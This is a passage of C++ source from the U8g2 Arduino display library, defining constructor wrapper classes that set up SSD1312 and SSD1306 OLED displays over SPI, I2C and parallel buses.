U8G2_SSD1312_128X64_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_6800 : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_8080 : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_SW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_HW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1312_128X64_NONAME_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1312_128X64_NONAME_2_SW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_HW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1312_128X64_NONAME_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1312_128X64_NONAME_F_SW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_HW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1312_128X64_NONAME_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_72X40_ER_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_72X40_ER_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_72X40_ER_1_6800 : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_1_8080 : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_72X40_ER_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_72X40_ER_2_6800 : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_2_8080 : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_72X40_ER_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_72X40_ER_F_6800 : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_F_8080 : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_72X40_ER_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_72X40_ER_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_72X40_ER_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_72X40_ER_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_72X40_ER_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_72X40_ER_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_72X40_ER_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_72X40_ER_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_72X40_ER_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_72X40_ER_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_96X40_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X40_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X40_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X40_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X40_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X40_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X40_1_6800 : public U8G2 { public: U8G2_SSD1306_96X40_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X40_1_8080 : public U8G2 { public: U8G2_SSD1306_96X40_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X39_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_96X39_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X39_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_96X39_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_96X39_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_96X39_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_96X39_1_6800 : public U8G2 { public: U8G2_SSD1306_96X39_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X39_1_8080 : public U8G2 { public: U8G2_SSD1306_96X39_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_96X40_2_4W_SW_SPI : public U8G2 { public: 